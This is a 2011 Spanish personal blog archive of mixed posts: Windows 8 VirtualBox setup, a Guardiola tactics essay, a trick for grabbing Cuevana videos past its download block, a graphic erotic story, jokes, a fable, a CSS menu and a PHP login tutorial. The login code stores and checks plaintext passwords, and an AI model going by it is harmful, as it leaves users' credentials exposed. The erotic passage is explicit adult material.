sábado, 10 de diciembre de 2011

Como instalar Windows 8 Developer Preview en VirtualBox

Hola gente en este post les enseñare a como instalar windows 8 Developer Preview en VirtualBox. Si deseas probar cualquier tipo de nuevo sistema operativo y que este no se convierta en tu sistema operativo principal, siempre es una buena idea darle una oportunidad instalándolo en una máquina virtual primero si es posible. esta Developer Preview de Windows 8, que se ha dado a conocer hoy, funciona con Virtual Box. Con VMware Workstation tal vez funcione también. Sin embargo y antes que nada, asegúrate de descargar la última versión de VirtualBox 4.1.2. Links para descargar Windows 8 Developer Preview Link de la pagina official: ahi escogen su version, x86 o x64 Requisitos System Requirements
The Windows 8 Developer Preview works great on the same hardware that powers Windows Vista and Windows 7: 1 gigahertz (GHz) or faster 32-bit (x86) or 64-bit (x64) processor 1 gigabyte (GB) RAM (32-bit) or 2 GB RAM (64-bit) 16 GB available hard disk space (32-bit) or 20 GB (64-bit) DirectX 9 graphics device with WDDM 1.0 or higher driver Taking advantage of touch input requires a screen that supports multi-touch To run Metro style Apps, you need a screen resolution of 1024 X 768 or greater
Traducción: La demo-desarrollador de windows8 funciona bien con el mismo hardware que se necesita para correr Vista o Win7 1Ghz o mas de CPU 1GB RAM (32 bit) 2GB RAM en 64 bit 16 o 20 GB de Espacio en Disco Tarjeta grafica con capacidad directx9 con WDDM 1.0 preferiblemente pantalla touch pantalla con al menos 1024x768 de resolucion
Vamos a iniciar la instalación de Windows 8 Developer Preview dentro de VirtualBox Inicia por primera vez VirtualBox, haz clic en New (Nuevo)
Ahora sigue el asistente y dale clic en Next (Siguiente)
Asegúrate de seleccionar Other Windows (Otros Windows) en el apartado versión.
Usa 1 o 2 GB de RAM (o más si lo deseas)
Selecciona Create new hard disk (Crear nuevo disco duro) y asegúrate de que la casilla Start-up Disk “Disco de inicio” está marcada.
Siempre es una buena idea seleccionar el formato nativo VDI para VirtualBox así que marcalo.
También es una buena idea para la creación del disco la opción Dynamically allocated (asignado dinámicamente)
Dale espacio suficiente en el disco duro para tus propias necesidades minimo 20GB max lo que quieras, siempre se puede cambiar este número después.
Crea el nuevo disco virtual. Pulsa en Create (crear). Verás el Asistente después de encender por primera vez.
Haz clic en Next (siguiente)
Aquí, asegúrate de seleccionar la imagen ISO que acabas de descargar de Windows 8 Developer Preview.
Ahora Windows 8 empezara a arrancar/iniciar en el mundo virtual.
Muy pronto verás este acuerdo de licencia. Acepta lo que Microsoft quiere que aceptes.
Aquí veras la primera interfaz de usuario de Windows, Metro te permitirá configurar el nombre del equipo, así que le das un buen nombre para este nuevo Windows 8.
Y sí, pulsa el botón Use express settings (Usar la configuración express)
Ahora bien, esto es nuevo en Windows 8, en todas las máquinas, cada usuario tendrá que utilizar un Windows Live ID para iniciar sesión en en la máquina. De esta manera el nuevo Windows 8 ya está sincronizado con la nube (Internet), y será la base o el método para que muchas de las aplicaciones futuras funcionen.
http://k01.kn3.net/taringa/1/2/6/5/0/6/43/naruto9400/230.jpg?7400
Y esto es lo que verás después de la primera conexión. Disfruta descubriendo tu nuevo Windows 8. Bonus: consejo rápido para empezar, pulsa la tecla “Windows” para iniciar y cambiar la interfaz de usuario Metro.

viernes, 25 de noviembre de 2011

Guardiola, un 'cruyffista' radical

El técnico alineó en San Siro un 3-4-3, sistema que definió al holandés al frente del Barça 

Técnico que discute con lo convencional e intervencionista como pocos, siempre dispuesto a tomar decisiones, Pep Guardiola presentó ya en el primer partido de esta Liga, frente al Villarreal, una línea defensiva de tres, que no de tres zagueros, toda vez que Mascherano y Busquets, dos mediocentros, completaron la retaguardia junto al lateral Abidal. Sin Piqué, Puyol ni Alves por imposición, y sin Xavi ni Villa por decisión técnica -todos teóricos titulares-, la apuesta le salió redonda al Barça, exento de apuros para sacar la pelota, sin problemas para contener el caudal ofensivo del rival. Resultó que los defensas estaban en campo adverso, con Messi, Pedro y Alexis como primer incordio, como una barrera infranqueable. El 3-4-3, toda una apuesta cruyffista, expresa una vez más la voluntad del técnico de sorprender al rival, de configurar un equipo incómodo, de esos complicados para pillarles el truco. "Sin la capacidad de sorpresa, estamos muertos", reflexiona Guardiola. A cada año da un giro de tuerca hasta dar con la tecla, hasta encontrar, ahora, la versión Barcelona 4.0.

Obsesionado con la mejor evolución del juego azulgrana, para Guardiola hay ciertos axiomas definitivos: el equipo se despliega a través del balón; en el área no se está, sino que se aparece; la posesión es la mejor arma para desarticular al rival; el fútbol es de los centrocampistas; y, entre otros muchos y sobre todo, el equipo se tiene que acomodar a Messi, su centro de gravedad, en la misma medida que La Pulga se acomode al equipo. Para lograr esto, Guardiola puede utilizar su ya recurrente 4-3-3, el ocasional 4-4-2, y el clásico azulgrana pero atrevido 3-4-3. "El sistema solo es un punto de partida. Es algo flexible", argumenta el entrenador. Pero en el Barça todos hacen de todo, hasta el punto que no es raro ver a un delantero iniciar la defensa como que un zaguero le ponga el lazo final a la jugada. Es el sello modernista del Barça, la firma de Guardiola. Mientras al dream team le alcanzaba con la genialidad de una estrella, mientras que al grupo de Robson y de Van Gaal se les recuerda especialmente por las figuras de Ronaldo y Rivaldo; mientras al equipo de Rijkaard se le señala como la pandilla de Ronaldinho; a este Barça, más que por Messi, el mejor de todos, se le ensalza por el juego colectivo, hasta el punto de que se exportan los éxitos a la selección española, donde no participa el astro argentino. Pero para que todo funcione, en esa mezcla de vena holandesa con catalana, Guardiola persigue siempre la versión nueva, la que sorprende.

La raíz de Cruyff. Acostumbrado a mirar ya desde muy joven al fútbol centroeuropeo, y especialmente a los equipos húngaros, austriacos y checoslovacos, el Barcelona se convirtió en un fiel seguidor de la escuela del Ajax y oranje, siempre con los mentores Stefan Kovacs y Rinus Michels a la cabeza. Desde que llegara El Flaco al banquillo, el Barça entendió el fútbol como un juego de ataque y se distinguió tanto por su facilidad por concebir la jugada como por la velocidad en que la ejecutaba. Lo primero que hizo -idea que adoptó Guardiola porque ocupó el puesto, pero que después le dio un vuelco-, fue crear la figura del 4 (Milla). Después, instauró una columna vertebral -Zubizarreta, Koeman, Guardiola, Bakero y Laudrup- inamovible con las permutaciones en la periferia, con el intercambio centrales, de volantes o de extremos. Un 3-4-3 que permaneció hasta que llegó Romario, hasta que, ya con la Quinta de Lo Pelat, el técnico fue desterrado.


Quedó claro, sin embargo, que la propuesta de Cruyff admitía una concesión en el juego: igualar el número de sus zagueros con el de los delanteros adversarios, una argucia que tendía a lograr que los peores de su equipo anularan a los mejores del rival para que decidieran los que son buenos de verdad. Una apuesta que imitó Guardiola frente al Villarreal, con la diferencia de que este Barça apenas se inquietó atrás; la presión adelantada, con el reparto posicional y con el esfuerzo colectivo y generoso, algo que define y destaca a este equipo sobre el de Cruyff, donde las divos actuaban como tales.

Retales de Robson y Van Gaal. Pocos entienden tan bien como Guardiola a la afición azulgrana del Camp Nou, que abucheaba a Robson cuando sustituía a De la Peña por Couto. También le llegó la rechifla del estadio cuando ponía al central Popescu de medio centro. Guardiola, sin embargo, comprende el fútbol al revés, al punto de que sitúa a los medios como centrales. Y con Van Gaal, con quien reconoció haberse hartado hablar de fútbol, absorbió también conceptos, sobre todo referentes al juego posicional.

La figura del Piojo López, un tormento al que no se supo detener, condicionó a ese Barça, toda vez Van Gaal aplicó circunstancialmente el 3-4-3 para tirar del cuaderno cruyffista y de la referencia del Ajax. Dos marcadores y un libre, dispositivo que permitía ganar un centrocampista. Lo probó en amistosos como el Hertha Berlín y Boca, sin éxito, y repitió en la Supercopa ante el Valencia, con el mismo destino. Por lo que regresó al 4-3-3, con Rivaldo de 11, extremo y víctima del método. Aunque más metódico y menos liberal en la pizarra, Van Gaal instauró los dos laterales fuertes, inauguró la transición de Xavi y Puyol, y persiguió la idea de aprovechar los extremos. Un dibujo cercano al de Guardiola, pero interpretado por muchos holandeses y, por consiguiente, poco identificado por la romántica hinchada azulgrana.

El modernismo de Rijkaard. Su fútbol solo cogió forma desde que el incombustible Davids, alguien quien entendía cada jugada como un reto definitivo, llegara en el mercado invernal de 2003, cuando ya se daba por descontado su adiós y el relevo de Scolari. Ganó el equipo un medio a la vez que perdía un delantero y traspasaba a Ronaldinho al flanco izquierdo. Una alteración decisiva porque el balón tuvo dueño, porque se le ponía punto y final al juego cuando lo dictaba Ronnie, más participativo con libertad de movimientos. "La ley del fútbol consiste en saber juntar al equipo y negarle el espacio al rival", defendía Rijkaard. Algo posible con la nueva definición del 4 que le dio al Barcelona.
Aunque también utilizó el 3-4-3 en La Romareda en un decisivo partido de Copa, con Oleguer, Puyol y Thuram en la zaga, siempre prefirió el 4-3-3 porque sugería que los extremos eran lanzas definitivas, porque prefirió tener más jugadores en territorio ajeno. "Lo más difícil en el fútbol es saber jugar arriba, en campo del rival", esgrimía.


Guardiola, desde atrás y con los extremos a pie cambiado. En el primer curso del técnico al frente del Barça, después de descartar a futbolistas como Deco y Ronaldinho -a Eto'o lo readmitió- porque consideró que preferían la juerga al balón, se vieron tintes cruyffistas de buenas a primeras, hasta el punto de que pareció que ningún equipo había interpretado antes mejor el fútbol total del Ajax de los setenta.
Pero el técnico revisó y remozó los conceptos de su inspirador, más acordes al juego actual, más físico y con más ritmo, con menos tiempo para ejecutar el pase. El fútbol pasó a ser más equilibrado y metódico, más solvente. Y para Guardiola no hay pase más importante que el primero. "Si ese toque es bueno, todo es más fácil", conviene el técnico. Por eso Piqué se ganó un sitio en la zaga, por su capacidad para provocar al delantero y por crear un hueco en la siguiente línea. Y por eso, en la final europea, dadas las numerosas bajas, prefirió alinear de central a un medio centro (Touré) que otro zaguero. Alves, al tiempo, se reafirmó como un lateral de recorrido, como un jugador que rompía a la zaga contraria. "Porque cuando sube, rompe y sorprende", reflexionaba Guardiola. Y la banda derecha, con Messi a pie cambiado, como hacía Cruyff con Stoichkov, se convirtió en un espectáculo, en un ciclón que nadie pudo frenar, como se atestiguó con la consecución del triplete por primera vez en la historia de la Liga.

El recurso del juego directo. Preocupado porque el Barça se podía volver previsible, Guardiola decidió fichar a dos jugadores que parecían no casar con la filosofía del fútbol instaurado. 25 millones por Chigrinski; 45 más Eto'o por Ibrahimovic. La idea del técnico no era otra que proponer una alternativa al juego en situaciones extremas, una variante para resquebrajar y, de nuevo, sorprender a los rivales.
Con buen pie para el desplazamiento, Chigrinski estaba llamado a dar la salida limpia de la pelota, pero, sobre todo, a lanzar balones de 50 metros en busca del generoso pecho de Ibra, que arrastraba a los defensas y originaba huecos con sus movimientos, que podía rematar por arriba unos centros que se resistían a llegar. Chigri no cuajó en el Camp Nou, que le cogió ojeriza y nunca le perdonó la derrota con el Sevilla la noche de Reyes. E Ibra sí que resultó capital en fases del campeonato, pero no hizo migas con el grupo y tampoco con Messi, el mayor de los pecados. Su aventura duró un año, lo que tardó Guardiola en reinventar la fórmula. Sí que se quedó como arma válida, sin embargo, los dos pasos atrás de Busquets para situarse en la línea de los centrales, para ayudar a dar la salida desde atrás. "Hay más centrales, más vías que marcar, por lo que multiplica las opciones de pase", resuelve Guardiola. Pero se pierde protagonismo en la medular, algo que este año considera decisivo.

Villa como síntoma. "Parece que no me entiendo con los delanteros centros", bromeó un día Guardiola, sabedor de que su relación con Eto'o e Ibra no había sido la mejor. Y se trajo a Villa, de quien se presuponía su facilidad para adaptarse al grupo porque se mueve como pocos a las espaldas de la zaga, porque se desmarca sin cesar. Pero en una nueva remodelación, Guardiola prefirió colocar a Messi como delantero de postín, al estilo Cruyff con Laudrup. El resultado y el éxito fue inmediato, toda vez que Leo pasó de ser el Balón de Oro a la Bota de Oro, un estilete definitivo. Y, ya suelto, incluso ejerció de trampolín del equipo, como el futbolista que daba el último pase.
La recolocación de La Pulga supuso la reubicación de Villa al extremo izquierdo, como hicieran Rivaldo y Ronaldinho en su día. Se le alejó de la portería para acercar a Messi. "David nos da un plus ahí porque arranca desde fuera y gana las espaldas de los rivales", apuntó Guardiola.
El penúltimo retoque. "Nos aportan algo distinto", remarcó Andoni Zubizarreta, el director deportivo, al traer este verano a Cesc y Alexis. Dos piezas a ensamblar, dos nuevos recursos dentro del nuevo arreglo de Guardiola al juego de siempre, que pasa por el poder de la medular, la profundidad y, presumiblemente y de vez en cuando, el 3-4-3. Quiere desborde, regate, competitividad: ha aumentado el núcleo de titulares y de variantes.

"El fútbol es de los centrocampistas", defiende el técnico azulgrana, que ya lo tenía claro en tiempos de Luis Aragonés como seleccionador, cuando solo tenía a Raúl y le sobraban los medios de calidad. "Ponga a mediocampistas", le decía, sin demasiado éxito. Y eso hace ahora con el Barça, donde se acumulan los medios, sobre todo con la llegada de Cesc y el ascenso de Thiago. La idea es que desde el eje del campo se mantenga la posesión del balón, que se reparta con equidad a ambos costados, que se rompa desde la segunda fila y que, en definitiva, se vuelva un poco a los orígenes -parte de la culpa la tiene Tito Vilanova, que actúa como Rexach con Cruyff, que conoce los chicos de la casa- de la generación del 87, cuando la pelota la sacaba desde atrás Piqué, cuando la impulsaba desde el centro Cesc y la punteaba Messi. Ahora se incorpora, además, Alexis, un extremo profundo, de esos que dan vértigo al juego, que tira el quiebro sin complejos y saca centros a mamporro.


La modificación también pasa por el dibujo. Aunque jugar con tres zagueros no es nuevo ni para Guardiola, que lo aplicara de inicio contra el Villarreal -por más que también lo justificara por las bajas- supone una nueva revolución. Parece una propuesta con continuidad, toda vez que en las demás ocasiones que lo practicó se tildó de circunstancial. "Vimos que el rival jugaba con tres centrales, por lo que adelantamos a Alves", señaló hace un par de cursos en un duelo ante el Zaragoza, como si se tratara de una consecuencia lógica, al más puro estilo cruyffista. También lo ejecutó por momentos ante el Espanyol y el Athletic, pero siempre con la idea de que así podía hacer más daño. Ahora, sin embargo, también lo hace porque puebla más la medular. Cesc, Xavi, Thiago, Iniesta, Busquets y Keita toman el mando de nuevo. "Este sistema es de Cruyff", concede Guardiola; "pero lo importante es dominar, tener la pelota y atacar. La táctica la hacen buena los jugadores", esgrimió la semana pasada. Él, por si acaso, la retoca para que nadie dé con la fórmula. Y, como se vio en San Siro, parece funcionarle.

sábado, 19 de noviembre de 2011

Aprende a bajar videos desde Cuevana

Hola gente primero que nada les comento que hago este post porque la página Cuevana había bloqueado la forma clásica para robarle videos, entonces me puse a buscar una solución en el código de fuente de página y bueno, cayeron!! xDD
Empezamos:
1er Paso Lo primero que vamos a hacer es selecionar la fuente de descarga del video, en mi caso va a ser Megaupload (es la única página con la que probé)
2do Paso Esperamos los 45 segundos de Megaupload
3er Paso Apretamos Shift + Ctrl + i para que se nos aparezca el código de fuente de la página (google Chrome en este caso)
4to Paso En el buscador tipeamos megaupload y apretamos enter hasta que se nos aparezca la linea de la siguiente imagen. Después copiamos desde http:// hasta la parte donde dice .mp4
5to Paso Cerramos la pestaña del video y pegamos lo que habíamos copiado en una nueva pestaña y damos enter, luego de eso comenzará a descargar solo

jueves, 17 de noviembre de 2011

Un Relato erótico

Este relato lo encontré en el diario de universidad de mi Tía.... Tendida sola en el sofá de su cuarto, aunque luminoso, nostálgico y solitario para ella, parecía estar detenida en el tiempo, suspendida en los sueños más deseados, tratando de mantenerse aferrada al norte, ese… que le dijeron no perdiera, aunque sin embargo, en la niebla de este sur, aquel parecía prácticamente inalcanzable. Su mente no hacía más que pensar y su corazón no hacía más que sentir… emociones, desencuentros, sueños que próximos a ser cumplidos, se volvieron desencantos, desilusiones; añoranzas de una pasión eternamente ausente, deseos de un “te quieroooooo” cierto y verdadero…será tal vez…. ¿necesidad de un ventiluz amanecido? del abrazo de un amigo? de una mirada que desnude y deje a flor de piel todos sus aromas, sus pasiones, sus locuras? Lo cierto es que pensando y debatiendo si era bueno ayudar al corazón a decidir qué y cómo sentir… se entregó a la comodidad de aquel mullido y rojizo sofá; eligió buscar nuevos sueños ( ella adora soñar con sus sentidos despiertos). Satisfizo su soledad conjugando en esas nuevas fantasías, su imaginación y su realidad más cercana, aquella que no debe esperar porque está al alcance de su mano…
Al observarla así, sometida a ese sueño… el placer se dibujaba en su rostro, por momentos sólo sonreía y en otros irrumpían las carcajadas… se la veía feliz… plena…. en una voz muy suave decía: “Sus ojos me cautivan, su mirada me hace vulnerable, su ciencia me hace admirarlo, su boca me pierde en el deseo ardiente de besarlo, su presencia me inquieta enormemente, me seduce con cada gesto; él sabe que me gusta y lo disfruta. Un día cualquiera, uno de tantos, él con cierta intencionada distracción tocó mi espalda, todo en mí se erizó, acercó su voz a mis sentidos y osadamente me propuso la fuerza física irresistible en las personas como tópico del próximo trabajo que debería entregarle. Sin pensarlo y hasta sorprendiéndome de mí misma le dije sugestivamente: - habla de la misma fuerza que me hace soñar y gozar con usted? Él sonrió, me devoró con su mirada y con su particular seguridad me respondió: - Me agrada… y mucho… haberla dejado de intimidar, así se dará cuenta de la manera en que su exquisita sensualidad me provoca. Enrojecí… el calor más intenso que jamás había sentido ahora me ahogaba. Demoré en el aula, él hizo tiempo también. Caminamos juntos, yo rocé y acaricié su mano toda vez que él la acercaba. Era horario de salida y la gente merodeaba. Lo besé tímidamente y desaparecí; él parado en la esquina. De regreso a casa, luego de una clase tan productiva como exótica y audaz; la oscuridad de la noche… la impunidad de mi auto, el poder de su sonrisa presionándome fuerte, muy fuerte… y la melodía de un “te amo”; me llevaron a recordar una vez más el pedido de un viejo amigo. Sentí como mi concha se humedecía mojando cada vez más su roja protección de encaje, noté que podía fruncirse una y otra vez imaginando dentro, la verga enorme y fibrosa que se ocultaba debajo de su impecable traje oscuro. Sin más rodeos me liberé de mi falda, deslicé mi mano y comencé a acariciarme; era innecesario babear mis dedos porque mi calentura y mis irrefrenables ganas de que me cogiera lo habían empapado todo; mis dedos patinaban desde mi vulva hinchada y sensible hasta mi orto increíblemente caliente y jugoso… me froté… apreté mi clítoris con impecable precisión y al ver su cara en mi parabrisas… empecé a relamer mi boca como si pudiera chuparlo, le pedí…le rogué a ese hijo de puta que de una vez me cogiera, que me clavara una y otra vez… juro que pude sentirla!! Creo que hasta mis dos dedos se expandieron enormemente hasta hacer que la sintiera toda dentro mío, juro que su trozo de carne me había penetrado hasta no dar más!! En ese instante en que mi orgasmo empañó aquel habitáculo, el velocímetro marcaba 80, mi agitación ….por lo menos el doble!! mi temperatura al rojo vivo y mis gemidos opacaban el ruido del motor! Fue sublime aquella acabada infernal y mágicos los temblores que seguían provocándome el haberme sentido suya! Suerte la mía que la ruta, ese día estuviera tranquila… aunque recuerdo vagamente la estupefacta cara de un camionero que pasaba … quizás en un momento sublime para mí…. inapropiado para él o tal vez no…. quizás lo inspiró también!!!
A la semana siguiente le entregué mi trabajo, pero para sorpresa de él…..aquella correctísima presentación sólo contenía ….el relato de mi experiencia vehicular en la que la fuerza física irresistible era su principal argumento. Para mí sorpresa… devolución del trabajo… con esquela indicando hora y lugar!! Acabada la clase… salida indiferente….la tan ansiada ilusión y pasión…. a la vuelta de la esquina!! Pensé… será inmemorial para los dos… inmune al olvido, al tiempo, a nuevos sueños o fantasías! Y vaya si lo fue…. Él tenía todos los detalles calculados (es muy observador y memorioso, había visto, oído, averiguado y retenido cada uno de mis gustos) música suave…. fresias que perfumaban y reflejaban sus colores en las inmaculadas sábanas de seda blancas…. pequeñas y tenues velas a un costado de la bañera… ananá y frutillas enredados en un exquisito trago, ese que me enloquece …que me subleva y me somete a la vez, ese… que hizo que él gozara como nunca antes, pudo sentir y descubrir que detrás de tan respetable y correcta señora … se escondía una mujer tremendamente puta y atorranta, sin prejuicios, dispuesta a entregar y entregarse al placer más absoluto… con la única barrera de la propia imaginación.
Todo en esa habitación era perfecto, sobre todo él… parado frente a mí como tantas veces lo desee, su sonrisa y sus ojos recorriéndome íntegra… parecía quemarme en cada mirada. Dejé caer mi vestimenta de señora inalcanzable y estrené una puta nueva …. barata… entregada.. necesitada de una buena montada arriba de su macho. Lo invité a bailar, lo abracé, menee mi cuerpo rozando su bulto trajeado, pude sentir como ese bulto iba creciendo… estirándose y endureciéndose cada vez más. Disfrutaba intensamente ese roce, no me intimidó que él pudiera verme completamente desnuda, que se notaran mis pezones erizados…..mi concha abriéndose implorando que la toque. Desabroché primero su cinto y luego su pantalón, su pija se liberó con fuerza, al tocarla era una roca … dura….firme…giré y apoye mi ojete en ella; luego hice caer mi pañuelo de seda a rayas y la puerta de mi orto alzado se abrió para él… lo volví loco jugando con ambos… mientras con una mano acariciaba sus huevos llenos de leche, con la otra estiraba más su pija mientras despacito me la introducía en mi hoyo. Imaginaba su cara de goce a partir de sus gemidos, de sus constantes e intensas exclamaciones como ssshhhaaaaa…mmmmm ….ahhh, profundas inspiraciones, descontrolados suspiros… eso, lo confieso…. me calentaba cada vez más. Mi postura hizo que me dejara caer al piso hasta quedar en cuatro patas, como una gata en celo, buscando que él me dominara ahora…primero besó mi concha, la recorrió con sus labios húmedos… escupió mi culo, chupé los dedos que metió en él y mientras así trabajaba mi ojete, con su lengua movediza y juguetona penetraba en mi concha cada vez más vibrante de la calentura. No pude contenerme y un profundo goce me elevó…fue ahí mi primer orgasmo de esa noche. Le rogué que me la metiera hasta el tronco, que me dejara sentir el calor de su carne dentro mío, que me llenara con su pija … que me bombeara hasta que sus huevos hicieran ruido contra mi culo abierto y complacido. Me sacudió un buen rato…. Cuando alcancé mi segundo momento sublime, mi acosté boca abajo… él cayó arriba mío, le acaricié con masajes sus nalgas transpiradas y dando un giro comencé a besarlo desde su caliente boca abierta… succioné su lengua… lamí todo su pecho y luego tomé entre mis manos su verga mojada, puse mi baba espesa en la cabeza de su chota y la chupé con una fuerza y unas ganas desmedidas, era un mágico sueño tenerla en mi boca! era tan grande mi desesperación y tan firme y eréctil su verga que hacía arcadas al metérmela hasta el fondo… lo pajee con mi boca…mi lengua… mi baba….mi alma….cuando por fin sentí en mi garganta la tibieza de su leche… fui feliz… me sentí enamorada y apasionada, como hacía tiempo lo deseaba. Sellé luego ese momento acariciándome los ojos, mi boca y mi intimidad con las manos todavía suaves y resbaladizas por el semen que en ellas se resguardaba. Nos mimamos un buen rato…. sentimos la delicadeza de las sábanas blancas… la melodía de la bañera… nos miramos….sonreímos … y cómplices empezamos un nuevo juego..... Fuente:

miércoles, 7 de septiembre de 2011

Sobre felicidad..

¿CÓMO HACER FELIZ A UNA MUJER ?
Hacer feliz a una mujer es fácil. Solo se necesita ser: 1) Amigo 2) Compañero 3) Amante 4) Hermano 5) Padre 6) Maestro 7) Educador 8) Cocinero 9) Mecánico 10) Plomero 11) Decorador de interiores 12) Estilista 13) Electricista 14) Sexólogo 15) Gineco - Obstetra 16) Psicólogo 17) Psiquiatra 18) Terapeuta 19) Audaz 20) Simpático 21) Atlético 22) Cariñoso 23) Atento 24) Caballeroso 25) Inteligente 26) Imaginativo 27) Creativo 28) Dulce 29) Fuerte 30) Comprensivo 31) Tolerante 32) Prudente 33) Ambicioso 34) Capaz 35) Valiente 36) Decidido 37) Confiable 38) Respetuoso 39) Apasionado 40) Y... Sobre Todo... Muy Solvente De la misma forma, hay que poner atención en:
* No ser celoso, pero tampoco desinteresado. * Llevarse bien con su familia, pero no dedicarles más tiempo que a ella. * Darle su espacio, pero mostrarse preocupado por dónde estuvo. Y muy importante es... * No olvidar las fechas... De cumpleaños -Aniversario de novios -De Boda -Graduación -Santo -Menstruación -Fecha del Primer Beso -Cumpleaños de la tía y del hermano o hermana más querida -Cumpleaños de los abuelos Y de la mejor amiga Desgraciadamente, el cumplir al pie de la letra estas instrucciones
NO garantiza al 100% la felicidad de ella, porque podría sentirse inmersa en una vida de sofocante perfección y fugarse con el primer desgraciado vividor que encuentre. Dios dijo: ¡¡¡¡Amálas!!!! ... PERO NUNCA DIJO QUE HABÍA QUE ENTENDERLAS! ¿COMO HACER FELIZ A UN HOMBRE? HACER FELIZ A UN HOMBRE ES FÁCIL Se necesita: 1) Buen y constante Sexo 2) Buena Comida
¿Somos... o no somos una ganga? (aclaro que el texto esta pensado en tono de joda ¿eh?)

El León y el Ratón

Dormía tranquilamente un león, cuando un ratón empezó a juguetear encima de su cuerpo. Despertó el león y rápidamente atrapó al ratón; y a punto de ser devorado, le pidió éste que le perdonara, prometiéndole pagarle cumplidamente llegado el momento oportuno. El león echó a reir y lo dejó marchar.


Pocos días después unos cazadores apresaron al rey de la selva y le ataron con una cuerda a un frondoso árbol. Pasó por ahí el ratoncillo, quien al oir los lamentos del león, corrió al lugar y royó la cuerda, dejándolo libre.


Días atrás -- le dijo --, te burlaste de mí pensando que nada podría hacer por tí en agradecimiento. Ahora es bueno que sepas que los pequeños ratones somos agradecidos y cumplidos.



Moraleja:
* No puedes despreciar a los que son más pequeños o más débiles que tú. No menosprecies a tus hemanos cuando están pasando por problemas o tribulación y sus fuerzas se han debilitado, no los arrincones, ni digas: "es un débil, no supo aguantar!" Debes echarle una mano.
El día de mañana puedes ser tú el debíl y el débil estar fuerte para poderte ayudar.
Nos necesitamos los unos a los otros, para ayudarnos.

* Ningún acto de bondad queda sin recompensa y que no conviene desdeñar la amistad de los humildes.
* En los cambios de fortuna, los poderosos necesitan la ayuda de los débiles.
* Nunca desprecies las promesas de los pequeños honestos. Cuando llegue el momento las cumplirán

lunes, 22 de agosto de 2011

Crear menú con CSS y HTML
Bueno, vamos a crear un excelente menú con HTML y CSS, empecemos!

Comenzamos con el HTML:
Nos quedaría así


Básicamente lo que hicimos acá fue crear un div, darle un id llamado navlist. Dentro de este div le agregamos una lista con el texto que queremos darle a este menú.

Seguimos con el CSS:
body{
background-color:#222;
margin:0px;
padding:0px;
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
}
a{
text-decoration:none;
}
#navlist {
float: left;
width: 170px;
margin-top: 30px;
margin-left: 5px;
}
#navlist ul {
list-style: none;
}

#navlist li a{
display: block;
height: 25px;
width: 100px;
padding: 9px;
margin: 5px;
background: inherit;
border-right: 4px solid #444;
color: #999;
text-transform: lowercase;
font-size: 0.9em;
}

#navlist li a:hover {
color: #f4f4f4;
background: #333;
border-right: 4px solid #98cb00;
}

#navlist li .active {
color: #999;
background: #333;
border-right: 4px solid #444;
}

Bueno, acá le dimos estilos al body, un fondo y el tipo de fuente. Al navlist le dimos forma, un ancho, un alto, hover, active y varias cosas más.
Y nos quedaría algo así:



Otra manera de hacer login en php y mysql

Login en php y mysql
Crearemos un formulario de login en PHP en 4 sencillos pasos. Necesitamos crear varios archivos y carpetas primero:

Paso 1: crear el archivo php.php y guardarlo en /application/controllers/
Paso 2: crear el archivo login.php y guardarlo en /application/views/
Paso 3: crear usuarios_model.php y guardarlo en /application/models/
Paso 4: crear la tabla mysql con algunos usuarios de prueba


Paso 1: Código para el controlador "php.php":


Código :
load->helper('form');
if(!isset($_POST['maillogin'])){ // Si no recibimos ningún valor proveniente del formulario, significa que el usuario recién ingresa.
$this->load->view('login'); // Por lo tanto le presentamos la pantalla del formulario de ingreso.
}
else{ // Si el usuario ya pasó por la pantalla inicial y presionó el botón "Ingresar"
$this->form_validation->set_rules('maillogin','e-mail','required|valid_email'); // Configuramos las validaciones ayudandonos con la librería form_validation del Framework Codeigniter
$this->form_validation->set_rules('passwordlogin','password','required');
if(($this->form_validation->run()==FALSE)){ // Verificamos si el usuario superó la validación
$this->load->view('login'); // En caso que no, volvemos a presentar la pantalla de login
}
else{ // Si ambos campos fueron correctamente rellanados por el usuario,
$this->load->model('usuarios_model');
$ExisteUsuarioyPassoword=$this->usuarios_model->ValidarUsuario($_POST['maillogin'],$_POST['passwordlogin']); // comprobamos que el usuario exista en la base de datos y la password ingresada sea correcta
if($ExisteUsuarioyPassoword){ // La variable $ExisteUsuarioyPassoword recibe valor TRUE si el usuario existe y FALSE en caso que no. Este valor lo determina el modelo.
echo "Validacion Ok

Volver"; // Si el usuario ingresó datos de acceso válido, imprimos un mensaje de validación exitosa en pantalla
}
else{ // Si no logró validar
$data['error']="E-mail o password incorrecta, por favor vuelva a intentar";
$this->load->view('login',$data); // Lo regresamos a la pantalla de login y pasamos como parámetro el mensaje de error a presentar en pantalla
}
}
}
}
}
?>



Paso 2: Código para la vista "login.php":


Código :



Blogdephp.com, ¿cómo hacer un login de usuarios en php? Ver script y demo!








Demo: ¿cómo hacer un login de usuarios en php?

 

E-mail:

".$error."

";
}
echo form_error('maillogin');
?>

Contraseña:

 

 

Datos de acceso (correspondiente a un usuario ya ingresado en la base de datos)

e-mail: diego@blogdephp.com

password: blogdephp

 

 

Requerimientos

Para poder implementar este script de login, se requiere el framework de php "Codeigniter"

(esta maravillosa herramienta nos ayuda a ahorrar mucho tiempo y esfuerzo en nuestros trabajos de programación php).

 

La empresa Solo10.com, cuando contratas un paquete de hosting anual desde u$s 49.95,

te ofrece la instalación y configuración inicial del Codeigniter gratis :-)

 

Este blog y demo se encuentran alojados en los servidores de Solo10.com.

Te recomiendo el servicio de hosting que ofrece esta empresa de hablahispana!





Paso 3: Código para el modelo usuarios_model.php


Código :
db->where('Usuario',$email); // La consulta se efectúa mediante Active Record. Una manera alternativa, y en lenguaje más sencillo, de generar las consultas Sql.
$query = $this->db->where('Password',$password);
$query = $this->db->get('Usuarios');
return $query->row(); // Devolvemos al controlador la fila que coincide con la búsqueda. (FALSE en caso que no existir coincidencias)
}
}
?>



Paso 4: Consulta Mysql para crear la tabla de usuarios


Código :
CREATE TABLE `Usuarios` (
`Id` INT NOT NULL AUTO_INCREMENT ,
`Usuario` VARCHAR( 50 ) NOT NULL ,
`Password` VARCHAR( 50 ) NOT NULL ,
PRIMARY KEY ( `Id` )
) ENGINE = MYISAM ;
INSERT INTO `Usuarios` (
`Id` ,
`Usuario` ,
`Password`
)
VALUES (
NULL , 'diego@blogdephp.com', 'blogdephp'
);


Explicación del código para forms de login con usuario y contraseña en PHP


Se trata de un script que, mediante pocas líneas de código, te permite configurar un login de usuarios propio en tu página web.

Esta capacidad es sumamente importante y la necesitaremos en cualquier proyecto web que iniciemos. Puesto que seguramente existe cierta información y funciones que nos interesa ofrecer únicamente a usuarios registrados y no al resto del público.

